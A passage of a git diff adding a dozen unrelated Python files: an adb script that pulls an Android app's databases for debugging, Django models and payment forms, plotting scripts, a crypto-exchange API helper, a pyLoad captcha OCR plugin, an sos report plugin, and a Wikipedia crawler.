parse_device(argv=[]): + ''' + Parses the device name + :param argv: + :return: + ''' + for idx, arg in enumerate(argv): + if arg == '--device': + try: + return argv[idx + 1] + except Exception: + pass + + +# actual script specific methods +def db_files_list(path, db_files=None, devicename=None): + ''' + Lists the db files + :param path: path to carry out the list + :param db_files: the db file params, if passed + :param devicename: device name + :return: + ''' + cmd = add_adb_device(devicename) + cmd = cmd + 'shell ls ' + path + (status, output) = commands.getstatusoutput(cmd) + output = str.splitlines(output) + filenames = [] + if status: + print 'Could not execute', cmd, sys.stderr + return False + else: + for line in output: + if db_files: + for db_file in db_files: + filename = find_basic(db_file + '$', line) + if filename: + filenames.append(db_file) + break + continue + else: + filename = find(r'(\w*.db$)', line) + if filename: + filenames.append(filename) + return filenames + +def db_pull(temp_path, to_path, filenames=[], devicename=None): + ''' + Pulls individual files from the device to the computer directory + :param temp_path: temp directory where the files are stored + :param to_path: destination directory on the laptop + :param filenames: list of file names + :param devicename: device name + :return: + ''' + for filename in filenames: + print 'Pulling', filename, '-->', to_path + pull_files(to_path, temp_path + '/' + filename, devicename) + + +def begin_dump(app_package_name, destination_dir, devicename=None, db_files=[]): + ''' + Begins the db dump procedure + :param app_package_name: app package name + :param destination_dir: destination directory + :param devicename: device name + :param db_files: the list of specific db_files to be copied + :return: + ''' + database_base_path = '/data/data/' + database_path = database_base_path + app_package_name + '/databases' + + filenames = db_files_list(database_path, db_files, devicename) + db_pull(database_path, destination_dir, filenames, devicename) + print 'Done!' + return + + +def parse_agrs_and_start(argv=[]): + ''' + Parses the arguments and sends them for further processing + :param argv: + :return: + ''' + length = len(argv) + if length < 2: + print 'usage: python dbdump.py app_packagename [destination_dir] [--device devicename] [--db my_dbfile.db]' + return + + app_package_name = parse_app_package_name(argv[1:]) + destination_dir = '.' + devicename = None + db_files = [] + if length > 2: + destination_dir = parse_destination_dir(argv[2:]) + devicename = parse_device(argv[2:]) + db_files = parse_db_files(argv[2:]) + + begin_dump(app_package_name, destination_dir, devicename, db_files) + + return + + +parse_agrs_and_start(sys.argv) diff --git a/pool/shard009/Python/0080743_config_object.py b/pool/shard009/Python/0080743_config_object.py new file mode 100644 index 0000000000000000000000000000000000000000..2e973c67b16eeefa11f8469d57eb923b3a6765e1 --- /dev/null +++ b/pool/shard009/Python/0080743_config_object.py @@ -0,0 +1,43 @@ +# Copyright (c) 2008-2011 Red Hat, Inc. +# +# This software is licensed to you under the GNU General Public License, +# version 2 (GPLv2). There is NO WARRANTY for this software, express or +# implied, including the implied warranties of MERCHANTABILITY or FITNESS +# FOR A PARTICULAR PURPOSE. You should have received a copy of GPLv2 +# along with this software; if not, see +# http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt. +# +# Red Hat trademarks are not licensed under GPLv2. No permission is +# granted to use or replicate Red Hat trademarks that are incorporated +# in this software or its documentation. +""" +Shared code for builder and tagger class +""" + +import os +from tito.common import find_git_root + +class ConfigObject(object): + """ + Perent class for Builder and Tagger with shared code + """ + + def __init__(self, pkg_config=None, global_config=None): + """ + pkg_config - Package specific configuration. + + global_config - Global configuration from rel-eng/tito.props. + """ + self.config = global_config + + # Override global configurations using local configurations + for section in pkg_config.sections(): + for options in pkg_config.options(section): + if not self.config.has_section(section): + self.config.add_section(section) + self.config.set(section, options, + pkg_config.get(section, options)) + + self.git_root = find_git_root() + self.rel_eng_dir = os.path.join(self.git_root, "rel-eng") + diff --git a/pool/shard009/Python/0080747_search_parameter.py b/pool/shard009/Python/0080747_search_parameter.py new file mode 100644 index 0000000000000000000000000000000000000000..1b9b0fb6bd7b94278e949599d26ae5ed49ce7831 --- /dev/null +++ b/pool/shard009/Python/0080747_search_parameter.py @@ -0,0 +1,45 @@ +# -*- cpy-indent-level: 4; indent-tabs-mode: nil -*- +# ex: set expandtab softtabstop=4 shiftwidth=4: +# +# Copyright (C) 2013 Contributor +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +from aquilon.aqdb.model import (ParamDefinition, + Archetype) +from aquilon.worker.broker import BrokerCommand # pylint: disable=W0611 +from aquilon.worker.dbwrappers.parameter import search_path_in_personas +from aquilon.worker.formats.parameter import SimpleParameterList + + +class CommandSearchParameter(BrokerCommand): + + required_parameters = ['path'] + + def render(self, session, archetype, path, **arguments): + + db_paramdef = None + + if archetype: + dbarchetype = Archetype.get_unique(session, archetype, compel=True) + if not dbarchetype.paramdef_holder: + return + db_paramdef = ParamDefinition.get_unique(session, path=path, + holder=dbarchetype.paramdef_holder, + compel=True) + if not db_paramdef: + return + + + holder = search_path_in_personas(session, path, db_paramdef.holder) + return SimpleParameterList(holder.iteritems()) diff --git a/pool/shard009/Python/0080757_plot.py b/pool/shard009/Python/0080757_plot.py new file mode 100644 index 0000000000000000000000000000000000000000..c36cfc33a4ffa90daa9ffe6a139458f066de811e --- /dev/null +++ b/pool/shard009/Python/0080757_plot.py @@ -0,0 +1,47 @@ +import numpy as np +import matplotlib.mlab as mlab +import matplotlib.pyplot as plt + +from hubEnricher import Enricher + +data = "Data/Allergy_and_Asthma.txt" +enricher = Enricher(data) +enricher.readPPIsFromFile() +ppis = enricher.ppisdict + +# data +x = np.array(ppis.values()) + +from sklearn import preprocessing +x = preprocessing.scale(x) + +''' +from scipy import stats +x = stats.zscore(x) +''' + + +mu = np.mean(x) # mean of distribution +sigma = np.std(x) # standard deviation of distribution + + + +num_bins = 285 +# the histogram of the data +n, bins, patches = plt.hist(x, num_bins, normed=1, facecolor='green', alpha=0.75) +# add a 'best fit' line +y = mlab.normpdf(bins, mu, sigma) +plt.plot(bins, y, 'r--') +plt.xlabel('Standardized PPI Scores') +plt.ylabel('Frequency of PPI') +plt.title(r'Standardized distribution for PPIs related to Asthma and Allergy') + +''' +# Uncomment to plot for distribution +plt.title(r'Distribution of PPI for Asthma and Allergy: $\mu=%.2f$, $\sigma=%.2f$'%(mu, sigma)) + +''' + +# Tweak spacing to prevent clipping of ylabel +plt.subplots_adjust(left=0.15) +plt.show() \ No newline at end of file diff --git a/pool/shard009/Python/0080759_models.py b/pool/shard009/Python/0080759_models.py new file mode 100644 index 0000000000000000000000000000000000000000..2375ee693bb6d40a32434093cd540680e744e857 --- /dev/null +++ b/pool/shard009/Python/0080759_models.py @@ -0,0 +1,70 @@ +# Core Django imports +from django.db import models +from django.utils.encoding import python_2_unicode_compatible +from django.core.urlresolvers import reverse + +# App-specific imports +from notes.models import NoteData + +@python_2_unicode_compatible +class ContainerType(NoteData): + name = models.CharField(max_length=200, unique=True) + height = models.DecimalField(max_digits=5, decimal_places=2) + length = models.DecimalField(max_digits=5, decimal_places=2) + width = models.DecimalField(max_digits=5, decimal_places=2) + url = models.URLField(blank=True) + VALUES = ( + ('0', 'Rectangular'), + ('1', 'Cube'), + ('2', 'Deli Cup'), + ('3', 'Cylinder'), + ('4', 'Hexagonal'), + ('5', 'Round'), + ) + type = models.CharField(max_length=1, choices=VALUES) + + def __str__(self): + return self.name + + def get_absolute_url(self): + return reverse('containers:detail-container-type', kwargs={'container_type_id': self.id}) + + class Meta: + unique_together = (('height', 'length', 'width', 'type'),) + verbose_name = 'container type' + verbose_name_plural = 'container types' + + +@python_2_unicode_compatible +class Container(NoteData): + name = models.CharField(max_length=200) + type = models.ForeignKey(ContainerType) + + def __str__(self): + return self.name + + def get_absolute_url(self): + return reverse('containers:detail-container', kwargs={'container_id': self.id}) + + class Meta: + verbose_name = 'container' + verbose_name_plural = 'containers' + + +@python_2_unicode_compatible +class EnvironmentReading(NoteData): + date = models.DateTimeField() + temperature = models.DecimalField(max_digits=5, decimal_places=2) + humidity = models.DecimalField(max_digits=5, decimal_places=2) + container = models.ForeignKey(Container) + + def __str__(self): + return u"By {0} on {1}".format(self.user.username, self.date.strftime("%a %x at %X")) + + def get_absolute_url(self): + return reverse('containers:reading-history', kwargs={'container_id': self.container.id}) + + class Meta: + unique_together = ('date', 'container') + verbose_name = 'environment reading' + verbose_name_plural = 'environment readings' \ No newline at end of file diff --git a/pool/shard009/Python/0080761_dbscanplot.py b/pool/shard009/Python/0080761_dbscanplot.py new file mode 100644 index 0000000000000000000000000000000000000000..ed62ba1b42586575c643c1071f9a52b5304fd37d --- /dev/null +++ b/pool/shard009/Python/0080761_dbscanplot.py @@ -0,0 +1,109 @@ +from pymongo import MongoClient +import requests +import time + +import dblayer + +from sklearn.cluster import DBSCAN + +import plotly +import plotly.graph_objs as go + +import pandas as pd +import numpy as np +import random + +# Create random colors in list +color_list = [] +def generate_color(ncluster): + for i in range(ncluster): + color = '#{:02x}{:02x}{:02x}'.format(*map(lambda x: random.randint(0, 255), range(ncluster))) + color_list.append(color) + +def showLatLongInCluster(data): + + # Run the DBSCAN from sklearn + dbscan = DBSCAN(eps=2, min_samples=5, metric='euclidean', algorithm='auto').fit(data) + + cluster_labels = dbscan.labels_ + n_clusters = len(set(cluster_labels)) - (1 if -1 in cluster_labels else 0) + generate_color(n_clusters) + + plot_data = [] + # get the cluster + for i in range(n_clusters): + ds = data[np.where(cluster_labels == i)] + clustername = "Cluster " + str(i + 1) + + trace = go.Scattergeo(lon=ds[:,0], lat=ds[:,1],mode='markers',marker=dict(color=color_list[i], size=5), + name=clustername) + plot_data.append(trace) + + layout = go.Layout(showlegend=False, title='Earthquakes In North and South America', + titlefont=dict(family='Courier New, monospace',size=20,color='#7f7f7f'), + geo=dict(scope=('north america', 'south america'), + projection=dict(type='orthographic'), + showland=True, landcolor='#191919', + showcountries=True, + showocean=True, oceancolor='rgb(217,217,255)', + showframe=False, + + ), + xaxis=dict(showgrid=False, zeroline=False), + yaxis=dict(showgrid=False, zeroline=False)) + + fig = go.Figure(data=plot_data, layout=layout) + #plotly.offline.plot(fig, filename='lat_long.html') + div = plotly.offline.plot(fig, include_plotlyjs=True, output_type='div') + + return div + +def mkLatLong(): + + #### TME: Get start time + start_time = time.time() + #### + sess = requests.Session() + dbobj=dblayer.classDBLayer() + projection = [{"$project": {"_id": 0, "mag": "$properties.mag", + "depth": {"$arrayElemAt": ["$geometry.coordinates", 2]}, + "longitude": {"$arrayElemAt": ["$geometry.coordinates", 0]}, + "latitude": {"$arrayElemAt": ["$geometry.coordinates", 1]}}}] + + df = pd.DataFrame(list(dbobj.doaggregate(projection))) + df = df[['longitude', 'latitude']].copy() + + #### TME: Elapsed time taken to read data from MongoDB + elapsed = time.time() - start_time + line = "=" * 60 + print (line) + print ("Reading Longitude and Latitude") + print(str(elapsed) + " secs required to read " + str(df['latitude'].count()) + " records from database.") + print (line) + ### + + #### TME: Get start time + start_time = time.time() + #### + + div = showLatLongInCluster(df.values) + response = """ """ + div + """ """ + + dbobj.closedb() + + #### TME: Elapsed time taken to cluster and plot data + elapsed = time.time() - start_time + line = "=" * 60 + print (line) + print ("Applying DBSCAN clustering and plotting its output") + print("Time taken: " + str(elapsed)) + print (line) + ### + + return response + + + +#sess = requests.Session() +# mkLatLong() +# client.close() diff --git a/pool/shard009/Python/0080764_models.py b/pool/shard009/Python/0080764_models.py new file mode 100644 index 0000000000000000000000000000000000000000..bc60dfd4b11f06e7eeb7a67e62c8366a2e80db0e --- /dev/null +++ b/pool/shard009/Python/0080764_models.py @@ -0,0 +1,96 @@ +# -*- coding: utf-8 -*- +from django.db import models +from django.utils.translation import ugettext_lazy as _ + +class Region(models.Model): + name = models.CharField(_('Name'), max_length=200) + number = models.CharField(_('Number'), max_length=200) + cut = models.CharField(_('CUT'), max_length=200, blank=True, null=True) + created = models.DateTimeField(_('Created'), auto_now_add=True, + editable=False) + updated = models.DateTimeField(_('Updated'), auto_now=True) + + def __unicode__(self): + return self.name + + class Meta: + verbose_name = _("Region") + verbose_name_plural = _("Region") + + +class Provincia(models.Model): + name = models.CharField(_('Name'), max_length=200) + region = models.ForeignKey(Region, related_name='provincia') + cut = models.CharField(_('CUT'), max_length=200, blank=True, null=True) + created = models.DateTimeField(_('Created'), auto_now_add=True, + editable=False) + updated = models.DateTimeField(_('Updated'), auto_now=True) + + def __unicode__(self): + return self.name + + class Meta: + verbose_name = _("Provincia") + verbose_name_plural = _("Provincia") + + +class Comuna(models.Model): + name = models.CharField(_('Name'), max_length=200) + provincia = models.ForeignKey(Provincia, related_name='comuna') + cut = models.CharField(_('CUT'), max_length=200, blank=True, null=True) + created = models.DateTimeField(_('Created'), auto_now_add=True, + editable=False) + updated = models.DateTimeField(_('Updated'), auto_now=True) + + def __unicode__(self): + return self.name + + class Meta: + verbose_name = _("Comuna") + verbose_name_plural = _("Comuna") + ordering = ['name'] + + def get_by_region(self, regionid): + """ + Retorna todas las comunas dentro de una región. + """ + try: + region = Region.objects.get(id=int(regionid)) + comunas = Comuna.objects.filter(provincia__region=region) + return comunas + except: + return None + + +class Tag(models.Model): + name = models.CharField(_('Name'), max_length=50, null=False, blank=False) + display_name = models.CharField(_('Name'), max_length=50, null=False, + blank=False) + eng_name = models.CharField(_('Name'), max_length=50, null=False, + blank=False) + + def __unicode__(self): + return self.display_name + + +class Enterprise(models.Model): + comuna = models.ForeignKey(Comuna, related_name="enterprises") + origin = models.CharField(_('Name'), max_length=50, null=False, + blank=False) + destiny = models.CharField(_('Name'), max_length=50, null=False, + blank=False) + name = models.CharField(_('Name'), max_length=50, null=False, blank=False) + address_name = models.CharField(_('StreetName'), max_length=100, blank=True, + null=True) + address_number = models.CharField(_('AddressNumber'), max_length=10, + blank=True, null=True) + address_extras = models.CharField(_('StreetName'), max_length=100, blank=True, + null=True) + web = models.URLField(_('Web'), max_length=100, null=True, blank=True) + services = models.CharField(_('Service'), max_length=400) + available = models.BooleanField(_('Available'), default=True) + phone = models.CharField(_('Phone'), max_length=20, blank=True, null=True) + tags = models.ManyToManyField(Tag, related_name="enterprise") + + def __unicode__(self): + return self.name \ No newline at end of file diff --git a/pool/shard009/Python/0080767_xadd16_proof.py b/pool/shard009/Python/0080767_xadd16_proof.py new file mode 100644 index 0000000000000000000000000000000000000000..da2abb3117d9546e295997cae46984b4f6b89706 --- /dev/null +++ b/pool/shard009/Python/0080767_xadd16_proof.py @@ -0,0 +1,28 @@ +# Copyright (c) 2014 The Native Client Authors. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""Proof for verifying that 16bit xadd is added to the 32 bit DFA.""" + +import proof_tools +from proof_tools_templates import LockedRegWithRegOrMem16bit + + +def Validate(trie_diffs, bitness): + """Validate the trie_diffs adds 16 bit xadd to 32bit mode.""" + # No instructions should be removed for 32/64 bit DFAs. + # No instructions should be added for 64 bit DFA because it already + # contains 16 bit cmpxchg instruction. + if bitness == 32: + expected_adds = LockedRegWithRegOrMem16bit(mnemonic_name='xadd', + bitness=bitness) + else: + expected_adds = set() + + proof_tools.AssertDiffSetEquals(trie_diffs, + expected_adds=expected_adds, + expected_removes=set()) + + +if __name__ == '__main__': + proof_tools.RunProof(proof_tools.ParseStandardOpts(), Validate) diff --git a/pool/shard009/Python/0080768_common.py b/pool/shard009/Python/0080768_common.py new file mode 100644 index 0000000000000000000000000000000000000000..2dfa03f8605a2bc4c354a0a0ed07953b35e13a64 --- /dev/null +++ b/pool/shard009/Python/0080768_common.py @@ -0,0 +1,182 @@ +# Copyright (c) 2013-2017 CodeReclaimers, LLC + +import decimal +import json +import os +import re + +try: + import httplib +except ImportError: + import http.client as httplib + + +class InvalidTradePairException(Exception): + """ Raised when an invalid pair is passed. """ + pass + + +class InvalidTradeTypeException(Exception): + """ Raised when invalid trade type is passed. """ + pass + + +class InvalidTradeAmountException(Exception): + """ Raised if trade amount is too much or too little. """ + pass + + +class InvalidTradePriceException(Exception): + """ Raised if trade price is too much or too little. """ + pass + + +class APIResponseError(Exception): + """ Raised if the API replies with an HTTP code + not in the 2xx range. """ + pass + + +decimal.getcontext().rounding = decimal.ROUND_DOWN +quanta = [decimal.Decimal("1e-%d" % i) for i in range(16)] + +tidex_domain = "api.tidex.com" + + +def parseJSONResponse(response): + def parse_decimal(var): + return decimal.Decimal(var) + + try: + if type(response) is not str: + response = response.decode('utf-8') + r = json.loads(response, parse_float=parse_decimal, + parse_int=parse_decimal) + except Exception as e: + msg = "Error while attempting to parse JSON response:" \ + " %s\nResponse:\n%r" % (e, response) + raise Exception(msg) + + return r + + +HEADER_COOKIE_RE = re.compile(r'__cfduid=([a-f0-9]{46})') +BODY_COOKIE_RE = re.compile(r'document\.cookie="a=([a-f0-9]{32});path=/;";') + + +class Connection(object): + def __init__(self, timeout=30): + self.conn = None + self.cookie = None + self._timeout = timeout + self.setup_connection() + + def __del__(self): + self.close() + + def __enter__(self): + return self + + def __exit__(self, *_args): + self.close() + + def setup_connection(self): + if "HTTPS_PROXY" in os.environ: + match = re.search(r'http://([\w.]+):(\d+)', os.environ['HTTPS_PROXY']) + if match: + self.conn = httplib.HTTPSConnection(match.group(1), + port=match.group(2), + timeout=self._timeout) + self.conn.set_tunnel(tidex_domain) + else: + self.conn = httplib.HTTPSConnection(tidex_domain, timeout=self._timeout) + self.cookie = None + + def close(self): + if self.conn is not None: + self.conn.close() + self.conn = None + + def getCookie(self): + if self.conn is None: + raise Exception("Attempted to use a closed connection.") + + self.cookie = "" + + try: + self.conn.request("GET", '/') + response = self.conn.getresponse() + except Exception: + # reset connection so it doesn't stay in a weird state if we catch + # the error in some other place + self.conn.close() + self.setup_connection() + raise + + set_cookie_header = response.getheader("Set-Cookie") + match = HEADER_COOKIE_RE.search(set_cookie_header) + if match: + self.cookie = "__cfduid=" + match.group(1) + + cookie_body = response.read() + if type(cookie_body) is not str: + cookie_body = cookie_body.decode('utf-8') + + match = BODY_COOKIE_RE.search(cookie_body) + if match: + if self.cookie != "": + self.cookie += '; ' + self.cookie += "a=" + match.group(1) + + def makeRequest(self, url, extra_headers=None, params="", with_cookie=False): + if self.conn is None: + raise Exception("Attempted to use a closed connection.") + + headers = {"Content-type": "application/x-www-form-urlencoded"} + if extra_headers is not None: + headers.update(extra_headers) + + if with_cookie: + if self.cookie is None: + self.getCookie() + + headers.update({"Cookie": self.cookie}) + + try: + self.conn.request("POST", url, params, headers) + response = self.conn.getresponse() + except Exception: + # reset connection so it doesn't stay in a weird state if we catch + # the error in some other place + self.conn.close() + self.setup_connection() + raise + + if response.status != 200: + raise httplib.HTTPException + else: + return response.read() + + def makeJSONRequest(self, url, extra_headers=None, params=""): + response = self.makeRequest(url, extra_headers, params) + return parseJSONResponse(response) + + +def truncateAmountDigits(value, digits): + if type(value) is float: + value = str(value) + + if type(value) is str: + value = decimal.Decimal(value) + + quantum = quanta[int(digits)] + return value.quantize(quantum) + + +def formatCurrencyDigits(value, digits): + s = str(truncateAmountDigits(value, digits)) + s = s.rstrip("0") + if s[-1] == ".": + s = "%s0" % s + + return s diff --git a/pool/shard009/Python/0080770_LinksaveIn.py b/pool/shard009/Python/0080770_LinksaveIn.py new file mode 100644 index 0000000000000000000000000000000000000000..b5cb0f60852744ecdcf07a57e42c05278e41c70f --- /dev/null +++ b/pool/shard009/Python/0080770_LinksaveIn.py @@ -0,0 +1,158 @@ +# -*- coding: utf-8 -*- + +try: + from PIL import Image +except ImportError: + import Image + +from glob import glob +from os import sep +from os.path import abspath, dirname + +from module.plugins.captcha.OCR import OCR + + +class LinksaveIn(OCR): + __name__ = "LinksaveIn" + __type__ = "ocr" + __version__ = "0.11" + + __description__ = """Linksave.in ocr plugin""" + __license__ = "GPLv3" + __authors__ = [("pyLoad Team", "admin@pyload.org")] + + + def __init__(self): + OCR.__init__(self) + self.data_dir = dirname(abspath(__file__)) + sep + "LinksaveIn" + sep + + + def load_image(self, image): + im = Image.open(image) + frame_nr = 0 + + lut = im.resize((256, 1)) + lut.putdata(range(256)) + lut = list(lut.convert("RGB").getdata()) + + new = Image.new("RGB", im.size) + npix = new.load() + while True: + try: + im.seek(frame_nr) + except EOFError: + break + frame = im.copy() + pix = frame.load() + for x in xrange(frame.size[0]): + for y in xrange(frame.size[1]): + if lut[pix[x, y]] != (0,0,0): + npix[x, y] = lut[pix[x, y]] + frame_nr += 1 + new.save(self.data_dir+"unblacked.png") + self.image = new.copy() + self.pixels = self.image.load() + self.result_captcha = '' + + + def get_bg(self): + stat = {} + cstat = {} + img = self.image.convert("P") + for bgpath in glob(self.data_dir+"bg/*.gif"): + stat[bgpath] = 0 + bg = Image.open(bgpath) + + bglut = bg.resize((256, 1)) + bglut.putdata(range(256)) + bglut = list(bglut.convert("RGB").getdata()) + + lut = img.resize((256, 1)) + lut.putdata(range(256)) + lut = list(lut.convert("RGB").getdata()) + + bgpix = bg.load() + pix = img.load() + for x in xrange(bg.size[0]): + for y in xrange(bg.size[1]): + rgb_bg = bglut[bgpix[x, y]] + rgb_c = lut[pix[x, y]] + try: + cstat[rgb_c] += 1 + except Exception: + cstat[rgb_c] = 1 + if rgb_bg == rgb_c: + stat[bgpath] += 1 + max_p = 0 + bg = "" + for bgpath, value in stat.iteritems(): + if max_p < value: + bg = bgpath + max_p = value + return bg + + + def substract_bg(self, bgpath): + bg = Image.open(bgpath) + img = self.image.convert("P") + + bglut = bg.resize((256, 1)) + bglut.putdata(range(256)) + bglut = list(bglut.convert("RGB").getdata()) + + lut = img.resize((256, 1)) + lut.putdata(range(256)) + lut = list(lut.convert("RGB").getdata()) + + bgpix = bg.load() + pix = img.load() + orgpix = self.image.load() + for x in xrange(bg.size[0]): + for y in xrange(bg.size[1]): + rgb_bg = bglut[bgpix[x, y]] + rgb_c = lut[pix[x, y]] + if rgb_c == rgb_bg: + orgpix[x, y] = (255,255,255) + + + def eval_black_white(self): + new = Image.new("RGB", (140, 75)) + pix = new.load() + orgpix = self.image.load() + thresh = 4 + for x in xrange(new.size[0]): + for y in xrange(new.size[1]): + rgb = orgpix[x, y] + r, g, b = rgb + pix[x, y] = (255,255,255) + if r > max(b, g)+thresh: + pix[x, y] = (0,0,0) + if g < min(r, b): + pix[x, y] = (0,0,0) + if g > max(r, b)+thresh: + pix[x, y] = (0,0,0) + if b > max(r, g)+thresh: + pix[x, y] = (0,0,0) + self.image = new + self.pixels = self.image.load() + + + def get_captcha(self, image): + self.load_image(image) + bg = self.get_bg() + self.substract_bg(bg) + self.eval_black_white() + self.to_greyscale() + self.image.save(self.data_dir+"cleaned_pass1.png") + self.clean(4) + self.clean(4) + self.image.save(self.data_dir+"cleaned_pass2.png") + letters = self.split_captcha_letters() + final = "" + for n, letter in enumerate(letters): + self.image = letter + self.image.save(ocr.data_dir+"letter%d.png" % n) + self.run_tesser(True, True, False, False) + final += self.result_captcha + + return final diff --git a/pool/shard009/Python/0080782_runtests.py b/pool/shard009/Python/0080782_runtests.py new file mode 100644 index 0000000000000000000000000000000000000000..6eae48e3c883e9c66a5d778f55cd0e1b864f3468 --- /dev/null +++ b/pool/shard009/Python/0080782_runtests.py @@ -0,0 +1,47 @@ +import sys +from optparse import OptionParser + +try: + from django.conf import settings + + settings.configure( + DEBUG=True, + USE_TZ=True, + DATABASES={ + "default": { + "ENGINE": "django.db.backends.sqlite3", + } + }, + ROOT_URLCONF="rockpile.urls", + INSTALLED_APPS=[ + "django.contrib.auth", + "django.contrib.contenttypes", + "django.contrib.sites", + "rockpile", + ], + SITE_ID=1, + NOSE_ARGS=['-s'], + ) + + from django_nose import NoseTestSuiteRunner +except ImportError: + raise ImportError("To fix this error, run: pip install -r requirements-test.txt") + + +def run_tests(*test_args): + if not test_args: + test_args = ['tests'] + + # Run tests + test_runner = NoseTestSuiteRunner(verbosity=2) + + failures = test_runner.run_tests(test_args) + + if failures: + sys.exit(failures) + + +if __name__ == '__main__': + parser = OptionParser() + (options, args) = parser.parse_args() + run_tests(*args) diff --git a/pool/shard009/Python/0080783_dovecot.py b/pool/shard009/Python/0080783_dovecot.py new file mode 100644 index 0000000000000000000000000000000000000000..334e787dac8700cf7894dd537fe9b59ef2c7537f --- /dev/null +++ b/pool/shard009/Python/0080783_dovecot.py @@ -0,0 +1,40 @@ +# This file is part of the sos project: https://github.com/sosreport/sos +# +# This copyrighted material is made available to anyone wishing to use, +# modify, copy, or redistribute it subject to the terms and conditions of +# version 2 of the GNU General Public License. +# +# See the LICENSE file in the source distribution for further information. + +from sos.report.plugins import Plugin, RedHatPlugin, DebianPlugin, UbuntuPlugin + + +class Dovecot(Plugin): + + short_desc = 'Dovecot IMAP and POP3' + + plugin_name = "dovecot" + profiles = ('mail',) + + def setup(self): + self.add_copy_spec("/etc/dovecot*") + self.add_cmd_output("dovecot -n") + + +class RedHatDovecot(Dovecot, RedHatPlugin): + + def setup(self): + super(RedHatDovecot, self).setup() + + packages = ('dovecot', ) + files = ('/etc/dovecot.conf',) + + +class DebianDovecot(Dovecot, DebianPlugin, UbuntuPlugin): + + def setup(self): + super(DebianDovecot, self).setup() + + files = ('/etc/dovecot/README',) + +# vim: set et ts=4 sw=4 : diff --git a/pool/shard009/Python/0080787_chapter03-3.py b/pool/shard009/Python/0080787_chapter03-3.py new file mode 100644 index 0000000000000000000000000000000000000000..f2ee4376ddb520527c745c9e04b7cea9a89060a5 --- /dev/null +++ b/pool/shard009/Python/0080787_chapter03-3.py @@ -0,0 +1,25 @@ +from urllib.request import urlopen +from bs4 import BeautifulSoup +import re + +pages = set() +def getLinks(pageUrl): + global pages + html = urlopen("http://en.wikipedia.org"+pageUrl) + bsObj = BeautifulSoup(html,"html.parser") + try: + print(bsObj.h1.get_text()) + print(bsObj.find(id="mw-content-text").findAll("p")[0]) + print(bsObj.find(id="ca-edit").find("spam").find("a").attrs['href']) + except AttributeError: + print("页面缺少一些属性!不用担心") + + for link in bsObj.findAll("a", href=re.compile("^(/wiki/)")): + if 'href' in link.attrs: + if link.attrs['href'] not in pages: + newPage = link.attrs['href'] + print("-----------\n" + newPage) + pages.add(newPage) + getLinks(newPage) + +getLinks("") \ No newline at end of file diff --git a/pool/shard009/Python/0080797_forms.py b/pool/shard009/Python/0080797_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..61c347d990039aa631272d7b6baf1843f4cf78c0 --- /dev/null +++ b/pool/shard009/Python/0080797_forms.py @@ -0,0 +1,144 @@ +from django import forms +from authorizenet.conf import settings +from authorizenet.fields import CreditCardField, CreditCardExpiryField, \ + CreditCardCVV2Field, CountryField +from authorizenet.models import CustomerPaymentProfile + + +class SIMPaymentForm(forms.Form): + x_login = forms.CharField(max_length=20, + required=True, + widget=forms.HiddenInput, + initial=settings.LOGIN_ID) + x_type = forms.CharField(max_length=20, + widget=forms.HiddenInput, + initial="AUTH_CAPTURE") + x_amount = forms.DecimalField(max_digits=15, + decimal_places=2, + widget=forms.HiddenInput) + x_show_form = forms.CharField(max_length=20, + widget=forms.HiddenInput, + initial="PAYMENT_FORM") + x_method = forms.CharField(max_length=10, + widget=forms.HiddenInput, + initial="CC") + x_fp_sequence = forms.CharField(max_length=10, + widget=forms.HiddenInput, + initial="CC") + x_version = forms.CharField(max_length=10, + widget=forms.HiddenInput, + initial="3.1") + x_relay_response = forms.CharField(max_length=8, + widget=forms.HiddenInput, + initial="TRUE") + x_fp_timestamp = forms.CharField(max_length=55, + widget=forms.HiddenInput) + x_relay_url = forms.CharField(max_length=55, + widget=forms.HiddenInput) + x_fp_hash = forms.CharField(max_length=55, + widget=forms.HiddenInput) + x_invoice_num = forms.CharField(max_length=55, + required=False, + widget=forms.HiddenInput) + x_description = forms.CharField(max_length=255, + required=False, + widget=forms.HiddenInput) + + +class SIMBillingForm(forms.Form): + x_first_name = forms.CharField(max_length=50, widget=forms.HiddenInput) + x_last_name = forms.CharField(max_length=50, widget=forms.HiddenInput) + x_company = forms.CharField(max_length=50, widget=forms.HiddenInput) + x_address = forms.CharField(max_length=60, widget=forms.HiddenInput) + x_city = forms.CharField(max_length=40, widget=forms.HiddenInput) + x_state = forms.CharField(max_length=40, widget=forms.HiddenInput) + x_zip = forms.CharField(max_length=20, widget=forms.HiddenInput) + x_country = forms.CharField(max_length=60, widget=forms.HiddenInput) + x_phone = forms.CharField(max_length=25, widget=forms.HiddenInput) + x_fax = forms.CharField(max_length=25, widget=forms.HiddenInput) + x_email = forms.CharField(max_length=255, widget=forms.HiddenInput) + x_cust_id = forms.CharField(max_length=20, widget=forms.HiddenInput) + + +class BillingAddressForm(forms.Form): + first_name = forms.CharField(50, label="First Name") + last_name = forms.CharField(50, label="Last Name") + company = forms.CharField(50, label="Company", required=False) + address = forms.CharField(60, label="Street Address") + city = forms.CharField(40, label="City") + state = forms.CharField(40, label="State") + country = CountryField(label="Country", initial="US") + zip = forms.CharField(20, label="Postal / Zip Code") + +class ShippingAddressForm(forms.Form): + ship_to_first_name = forms.CharField(50, label="First Name") + ship_to_last_name = forms.CharField(50, label="Last Name") + ship_to_company = forms.CharField(50, label="Company", required=False) + ship_to_address = forms.CharField(60, label="Street Address") + ship_to_city = forms.CharField(40, label="City") + ship_to_state = forms.CharField(label="State") + ship_to_zip = forms.CharField(20, label="Postal / Zip Code") + ship_to_country = CountryField(label="Country", initial="US") + +class AIMPaymentForm(forms.Form): + card_num = CreditCardField(label="Credit Card Number") + exp_date = CreditCardExpiryField(label="Expiration Date") + card_code = CreditCardCVV2Field(label="Card Security Code") + + +class CIMPaymentForm(forms.Form): + card_number = CreditCardField(label="Credit Card Number") + expiration_date = CreditCardExpiryField(label="Expiration Date") + card_code = CreditCardCVV2Field(label="Card Security Code") + + +class CustomerPaymentForm(forms.ModelForm): + + """Base customer payment form without shipping address""" + + country = CountryField(label="Country", initial="US") + card_number = CreditCardField(label="Credit Card Number") + expiration_date = CreditCardExpiryField(label="Expiration 